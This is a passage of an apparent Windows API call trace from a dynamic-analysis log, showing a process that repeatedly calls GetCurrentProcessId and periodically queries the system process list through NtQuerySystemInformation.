0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.851] GetCurrentProcessId () returned 0xbf4 [0167.852] GetCurrentProcessId () returned 0xbf4 [0167.852] GetCurrentProcessId () returned 0xbf4 [0167.852] GetCurrentProcessId () returned 0xbf4 [0167.852] GetCurrentProcessId () returned 0xbf4 [0168.369] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1bb30) returned 0x0 [0168.390] GetCurrentProcessId () returned 0xbf4 [0168.390] GetCurrentProcessId () returned 0xbf4 [0168.390] GetCurrentProcessId () returned 0xbf4 [0168.390] GetCurrentProcessId () returned 0xbf4 [0168.390] GetCurrentProcessId () returned 0xbf4 [0168.390] GetCurrentProcessId () returned 0xbf4 [0168.390] GetCurrentProcessId () returned 0xbf4 [0168.390] GetCurrentProcessId () returned 0xbf4 [0168.390] GetCurrentProcessId () returned 0xbf4 [0168.390] GetCurrentProcessId () returned 0xbf4 [0168.390] GetCurrentProcessId () returned 0xbf4 [0168.390] GetCurrentProcessId () returned 0xbf4 [0168.390] GetCurrentProcessId () returned 0xbf4 [0168.390] GetCurrentProcessId () returned 0xbf4 [0168.390] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.391] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.392] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.393] GetCurrentProcessId () returned 0xbf4 [0168.926] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1bc20) returned 0x0 [0168.932] GetCurrentProcessId () returned 0xbf4 [0168.932] GetCurrentProcessId () returned 0xbf4 [0168.932] GetCurrentProcessId () returned 0xbf4 [0168.932] GetCurrentProcessId () returned 0xbf4 [0168.932] GetCurrentProcessId () returned 0xbf4 [0168.932] GetCurrentProcessId () returned 0xbf4 [0168.932] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.933] GetCurrentProcessId () returned 0xbf4 [0168.934] GetCurrentProcessId () returned 0xbf4 [0168.934] GetCurrentProcessId () returned 0xbf4 [0168.934] GetCurrentProcessId () returned 0xbf4 [0168.934] GetCurrentProcessId () returned 0xbf4 [0168.934] GetCurrentProcessId () returned 0xbf4 [0168.934] GetCurrentProcessId () returned 0xbf4 [0168.934] GetCurrentProcessId () returned 0xbf4 [0168.934] GetCurrentProcessId () returned 0xbf4 [0168.934] GetCurrentProcessId () returned 0xbf4 [0168.934] GetCurrentProcessId () returned 0xbf4 [0168.934] GetCurrentProcessId () returned 0xbf4 [0168.934] GetCurrentProcessId () returned 0xbf4 [0168.934] GetCurrentProcessId () returned 0xbf4 [0168.934] GetCurrentProcessId () returned 0xbf4 [0168.934] GetCurrentProcessId () returned 0xbf4 [0169.447] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1be80) returned 0x0 [0169.456] GetCurrentProcessId () returned 0xbf4 [0169.456] GetCurrentProcessId () returned 0xbf4 [0169.456] GetCurrentProcessId () returned 0xbf4 [0169.456] GetCurrentProcessId () returned 0xbf4 [0169.456] GetCurrentProcessId () returned 0xbf4 [0169.456] GetCurrentProcessId () returned 0xbf4 [0169.456] GetCurrentProcessId () returned 0xbf4 [0169.456] GetCurrentProcessId () returned 0xbf4 [0169.456] GetCurrentProcessId () returned 0xbf4 [0169.456] GetCurrentProcessId () returned 0xbf4 [0169.456] GetCurrentProcessId () returned 0xbf4 [0169.456] GetCurrentProcessId () returned 0xbf4 [0169.456] GetCurrentProcessId () returned 0xbf4 [0169.456] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.457] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.458] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.459] GetCurrentProcessId () returned 0xbf4 [0169.973] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1be80) returned 0x0 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.995] GetCurrentProcessId () returned 0xbf4 [0169.996] GetCurrentProcessId () returned 0xbf4 [0169.996] GetCurrentProcessId () returned 0xbf4 [0169.996] GetCurrentProcessId () returned 0xbf4 [0169.996] GetCurrentProcessId () returned 0xbf4 [0169.996] GetCurrentProcessId () returned 0xbf4 [0169.996] GetCurrentProcessId () returned 0xbf4 [0169.996] GetCurrentProcessId () returned 0xbf4 [0169.996] GetCurrentProcessId () returned 0xbf4 [0169.996] GetCurrentProcessId () returned 0xbf4 [0169.996] GetCurrentProcessId () returned 0xbf4 [0169.996] GetCurrentProcessId () returned 0xbf4 [0169.996] GetCurrentProcessId () returned 0xbf4 [0169.996] GetCurrentProcessId () returned 0xbf4 [0169.996] GetCurrentProcessId () returned 0xbf4 [0169.996] GetCurrentProcessId () returned 0xbf4 [0169.996] GetCurrentProcessId () returned 0xbf4 [0169.996] GetCurrentProcessId () returned 0xbf4 [0169.996] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.997] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.998] GetCurrentProcessId () returned 0xbf4 [0169.999] GetCurrentProcessId () returned 0xbf4 [0169.999] GetCurrentProcessId () returned 0xbf4 [0169.999] GetCurrentProcessId () returned 0xbf4 [0170.535] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1be80) returned 0x0 [0171.048] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1be80) returned 0x0 [0171.626] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1bfc0) returned 0x0 [0171.633] GetCurrentProcessId () returned 0xbf4 [0171.633] GetCurrentProcessId () returned 0xbf4 [0171.633] GetCurrentProcessId () returned 0xbf4 [0171.633] GetCurrentProcessId () returned 0xbf4 [0171.633] GetCurrentProcessId () returned 0xbf4 [0171.633] GetCurrentProcessId () returned 0xbf4 [0171.633] GetCurrentProcessId () returned 0xbf4 [0171.633] GetCurrentProcessId () returned 0xbf4 [0171.633] GetCurrentProcessId () returned 0xbf4 [0171.633] GetCurrentProcessId () returned 0xbf4 [0171.633] GetCurrentProcessId () returned 0xbf4 [0171.633] GetCurrentProcessId () returned 0xbf4 [0171.633] GetCurrentProcessId () returned 0xbf4 [0171.633] GetCurrentProcessId () returned 0xbf4 [0171.633] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.634] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.635] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0171.636] GetCurrentProcessId () returned 0xbf4 [0172.204] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1bf70) returned 0x0 [0172.838] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x12da3098, ResultLength=0x1b7bebb0*=0x1bf20) returned 0x0 [0172.840] GetCurrentProcessId () returned 0xbf4 [0172.840] GetCurrentProcessId () returned 0xbf4 [0172.840] GetCurrentProcessId () returned 0xbf4 [0172.840] GetCurrentProcessId () returned 0xbf4 [0172.840] GetCurrentProcessId () returned 0xbf4 [0172.840] GetCurrentProcessId () returned 0xbf4 [0172.840] GetCurrentProcessId () returned 0xbf4 [0172.840] GetCurrentProcessId () returned 0xbf4 [0172.840] GetCurrentProcessId () returned 0xbf4 [0172.840] GetCurrentProcessId () returned 0xbf4 [0172.840] GetCurrentProcessId () returned 0xbf4 [0172.840] GetCurrentProcessId () returned 0xbf4 [0172.840] GetCurrentProcessId () returned 0xbf4 [0172.840] GetCurrentProcessId () returned 0xbf4 [0172.840] GetCurrentProcessId () returned 0xbf4 [0172.840] GetCurrentProcessId () returned 0xbf4 [0172.840] GetCurrentProcessId () returned 0xbf4 [0172.840] GetCurrentProcessId () returned 0xbf4 [0172.840] GetCurrentProcessId () returned 0xbf4 [0172.840] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] GetCurrentProcessId () returned 0xbf4 [0172.841] 